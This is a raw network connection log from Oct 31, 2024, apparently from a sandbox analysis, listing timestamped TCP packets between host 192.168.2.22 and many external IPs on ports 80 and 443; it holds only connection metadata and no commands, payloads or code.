Oct 31, 2024 16:03:50.684984922 CET	80	49181	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:50.685411930 CET	80	49181	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:56.552380085 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:56.558064938 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:56.715445042 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:03:56.731997967 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:56.732033014 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:56.732074976 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:56.732579947 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:56.732594967 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:56.918565989 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:03:57.611308098 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:57.611412048 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:57.870712996 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:57.870737076 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:57.871033907 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:57.885633945 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:57.931335926 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:57.931874990 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:57.931890011 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:58.604054928 CET	49183	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:58.609071970 CET	80	49183	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:58.609266996 CET	49183	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:58.610181093 CET	49183	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:58.610181093 CET	49183	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:58.615051985 CET	80	49183	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:58.615127087 CET	80	49183	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:59.223830938 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:59.223846912 CET	80	49181	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:59.223908901 CET	49181	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:59.225259066 CET	49181	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:59.230128050 CET	80	49181	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:59.242211103 CET	49184	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:59.247085094 CET	80	49184	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:59.247155905 CET	49184	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:59.247339964 CET	49184	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:59.247374058 CET	49184	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:03:59.252150059 CET	80	49184	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:59.252238035 CET	80	49184	82.112.184.197	192.168.2.22
Oct 31, 2024 16:03:59.273749113 CET	443	49182	149.154.167.220	192.168.2.22
Oct 31, 2024 16:03:59.275796890 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:59.289057970 CET	49182	443	192.168.2.22	149.154.167.220
Oct 31, 2024 16:03:59.443603039 CET	80	49183	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:59.446357012 CET	49183	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:59.451693058 CET	80	49183	54.244.188.177	192.168.2.22
Oct 31, 2024 16:03:59.451756001 CET	49183	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:03:59.467078924 CET	49185	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:59.471966028 CET	80	49185	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:59.473498106 CET	49185	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:59.479077101 CET	49185	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:59.479093075 CET	49185	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:03:59.483968973 CET	80	49185	18.141.10.107	192.168.2.22
Oct 31, 2024 16:03:59.484036922 CET	80	49185	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:00.908545017 CET	80	49185	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:00.908688068 CET	49185	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:00.915210962 CET	80	49185	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:00.915307999 CET	49185	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:01.021255016 CET	49186	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:01.026098967 CET	80	49186	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:01.026150942 CET	49186	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:01.026783943 CET	49186	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:01.026809931 CET	49186	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:01.032572031 CET	80	49186	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:01.032711983 CET	80	49186	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:01.864520073 CET	80	49186	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:01.864849091 CET	49186	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:01.870259047 CET	80	49186	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:01.870315075 CET	49186	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:01.974236012 CET	49187	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:01.979542017 CET	80	49187	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:01.979857922 CET	49187	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:01.982822895 CET	49187	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:01.982855082 CET	49187	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:01.987845898 CET	80	49187	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:01.988004923 CET	80	49187	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:02.678267002 CET	80	49187	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:02.678430080 CET	49187	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:02.684048891 CET	80	49187	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:02.684114933 CET	49187	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:02.689237118 CET	49188	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:02.694145918 CET	80	49188	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:02.694201946 CET	49188	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:02.694509029 CET	49188	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:02.694535017 CET	49188	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:02.699493885 CET	80	49188	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:02.699795008 CET	80	49188	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:03.366269112 CET	80	49188	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:03.366472960 CET	49188	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:03.383192062 CET	49188	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:03.388169050 CET	80	49188	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:03.956459999 CET	49189	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:03.961781025 CET	80	49189	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:03.961843014 CET	49189	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:04.109133959 CET	49189	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:04.109155893 CET	49189	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:04.114614010 CET	80	49189	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:04.114804983 CET	80	49189	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:04.667921066 CET	80	49189	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:04.667989969 CET	49189	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:04.668041945 CET	49189	80	192.168.2.22	172.234.222.138
Oct 31, 2024 16:04:04.672847033 CET	80	49189	172.234.222.138	192.168.2.22
Oct 31, 2024 16:04:05.492674112 CET	49190	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:05.497819901 CET	80	49190	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:05.497899055 CET	49190	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:05.498003006 CET	49190	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:05.498038054 CET	49190	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:05.504328012 CET	80	49190	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:05.504339933 CET	80	49190	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:06.960453033 CET	80	49190	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:06.986543894 CET	49190	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:06.992052078 CET	80	49190	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:06.992120981 CET	49190	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:07.039742947 CET	49191	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:07.045079947 CET	80	49191	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:07.045134068 CET	49191	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:07.052872896 CET	49191	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:07.052901983 CET	49191	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:07.058701038 CET	80	49191	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:07.059027910 CET	80	49191	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:07.845367908 CET	80	49184	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:07.845422983 CET	49184	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:07.845525980 CET	49184	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:07.850991011 CET	80	49184	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:09.487528086 CET	49192	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:09.492578030 CET	80	49192	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:09.492655039 CET	49192	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:09.535490036 CET	49192	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:09.535516024 CET	49192	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:09.540431976 CET	80	49192	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:09.540496111 CET	80	49192	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:10.907634974 CET	80	49192	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:10.907799959 CET	49192	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:10.913528919 CET	80	49192	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:10.913592100 CET	49192	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:10.973454952 CET	49193	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:10.978720903 CET	80	49193	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:10.978800058 CET	49193	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:10.982036114 CET	49193	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:10.982085943 CET	49193	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:10.987490892 CET	80	49193	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:10.987680912 CET	80	49193	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:12.421806097 CET	80	49193	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:12.422667027 CET	49193	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:12.428282976 CET	80	49193	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:12.428371906 CET	49193	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:13.440198898 CET	49194	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:13.445182085 CET	80	49194	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:13.445236921 CET	49194	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:13.445413113 CET	49194	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:13.445446014 CET	49194	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:13.450279951 CET	80	49194	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:13.450294018 CET	80	49194	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:14.108469963 CET	80	49194	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:14.136048079 CET	80	49194	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:14.137830973 CET	49194	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:14.150022030 CET	49194	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:14.155246019 CET	80	49194	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:15.530978918 CET	80	49191	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:15.531080008 CET	49191	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:15.531128883 CET	49191	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:15.535939932 CET	80	49191	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:16.110461950 CET	49195	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:16.253170967 CET	80	49195	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:16.253282070 CET	49195	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:16.260833979 CET	49195	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:16.260833979 CET	49195	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:16.265867949 CET	80	49195	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:16.265892982 CET	80	49195	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:17.261689901 CET	49196	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:17.267090082 CET	80	49196	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:17.267151117 CET	49196	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:17.267267942 CET	49196	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:17.267318964 CET	49196	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:17.272559881 CET	80	49196	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:17.272573948 CET	80	49196	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:18.717717886 CET	80	49196	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:18.717891932 CET	49196	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:18.724575043 CET	80	49196	18.141.10.107	192.168.2.22
Oct 31, 2024 16:04:18.724627018 CET	49196	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:04:19.549407959 CET	49197	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:19.554646969 CET	80	49197	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:19.554713964 CET	49197	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:19.554855108 CET	49197	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:19.554883957 CET	49197	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:19.560609102 CET	80	49197	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:19.561086893 CET	80	49197	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:20.286463022 CET	80	49197	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:20.286565065 CET	49197	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:20.298022032 CET	49197	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:20.303150892 CET	80	49197	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:20.341084003 CET	49198	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:20.346102953 CET	80	49198	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:20.346177101 CET	49198	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:20.346333981 CET	49198	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:20.346374035 CET	49198	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:20.351317883 CET	80	49198	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:20.351583004 CET	80	49198	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:21.012736082 CET	80	49198	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:21.012799978 CET	49198	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:21.012849092 CET	49198	80	192.168.2.22	172.234.222.143
Oct 31, 2024 16:04:21.017985106 CET	80	49198	172.234.222.143	192.168.2.22
Oct 31, 2024 16:04:21.514935970 CET	49199	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:21.519912958 CET	80	49199	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:21.520026922 CET	49199	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:21.529436111 CET	49199	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:21.529476881 CET	49199	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:21.534415007 CET	80	49199	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:21.534450054 CET	80	49199	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:22.520633936 CET	80	49199	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:22.520850897 CET	49199	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:22.526209116 CET	80	49199	34.246.200.160	192.168.2.22
Oct 31, 2024 16:04:22.526276112 CET	49199	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:04:22.955507994 CET	49200	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:22.960424900 CET	80	49200	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:22.960515022 CET	49200	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:22.972328901 CET	49200	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:22.972328901 CET	49200	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:22.977314949 CET	80	49200	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:22.977361917 CET	80	49200	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:23.663156986 CET	80	49200	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:23.663424969 CET	49200	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:23.669101000 CET	80	49200	18.208.156.248	192.168.2.22
Oct 31, 2024 16:04:23.669178009 CET	49200	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:04:24.320856094 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:24.325753927 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:24.325812101 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:24.326250076 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:24.326288939 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:24.331254959 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:24.331521988 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:24.743607998 CET	80	49195	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:24.743694067 CET	49195	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:24.777143002 CET	49195	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:24.782582045 CET	80	49195	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:24.971899986 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.016499996 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:25.016689062 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:25.341914892 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:25.524224043 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.524252892 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.524321079 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:25.524388075 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:25.525312901 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.525327921 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.525496960 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.672127962 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.887967110 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:04:25.888067961 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:04:27.535752058 CET	49202	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:27.541661978 CET	80	49202	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:27.541724920 CET	49202	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:27.542558908 CET	49202	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:27.542588949 CET	49202	80	192.168.2.22	82.112.184.197
Oct 31, 2024 16:04:27.548264980 CET	80	49202	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:27.548432112 CET	80	49202	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:27.550726891 CET	49203	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:27.556236982 CET	80	49203	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:27.556301117 CET	49203	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:27.556497097 CET	49203	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:27.556539059 CET	49203	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:27.833663940 CET	80	49203	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:27.833750963 CET	80	49203	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:29.250140905 CET	80	49203	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:29.476788998 CET	49203	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:29.482696056 CET	80	49203	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:29.482759953 CET	49203	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:29.634721041 CET	49204	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:29.639631033 CET	80	49204	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:29.639688015 CET	49204	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:29.639847994 CET	49204	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:29.640011072 CET	49204	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:29.644690990 CET	80	49204	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:29.644747972 CET	80	49204	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:30.302133083 CET	80	49204	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:30.304990053 CET	49204	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:30.310719013 CET	80	49204	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:30.310794115 CET	49204	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:30.338186026 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:30.342997074 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:30.343054056 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:30.343605995 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:30.343697071 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:30.348464966 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:30.348553896 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.039516926 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.039748907 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.039758921 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.039767981 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.039792061 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:32.039824009 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:32.039968014 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:32.040057898 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.040100098 CET	49205	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:32.316855907 CET	80	49205	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:32.406701088 CET	49206	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:32.411679029 CET	80	49206	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:32.411849022 CET	49206	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:32.739212036 CET	49206	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:32.739263058 CET	49206	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:32.744225979 CET	80	49206	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:32.744266987 CET	80	49206	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:33.241920948 CET	80	49206	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:33.242084026 CET	49206	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:33.248356104 CET	80	49206	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:33.248428106 CET	49206	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:33.299820900 CET	49207	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:33.304980040 CET	80	49207	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:33.305039883 CET	49207	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:33.305404902 CET	49207	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:33.305444002 CET	49207	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:33.311294079 CET	80	49207	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:33.311414003 CET	80	49207	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:33.973349094 CET	80	49207	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:33.973507881 CET	49207	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:33.979166031 CET	80	49207	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:33.979238033 CET	49207	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:34.174205065 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:34.179354906 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:34.179433107 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:34.179646969 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:34.179714918 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:34.184595108 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:34.184657097 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:34.888621092 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:34.989937067 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:34.989975929 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:34.995212078 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:34.995244980 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:35.379733086 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:35.387772083 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:04:35.387835979 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:04:35.408901930 CET	49212	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:35.414273977 CET	80	49212	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:35.414357901 CET	49212	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:35.414726019 CET	49212	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:35.414762974 CET	49212	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:35.419996023 CET	80	49212	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:35.420027018 CET	80	49212	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:36.035964012 CET	80	49202	82.112.184.197	192.168.2.22
Oct 31, 2024 16:04:36.036050081 CET	49202	80	192.168.2.22	82.112.184.197
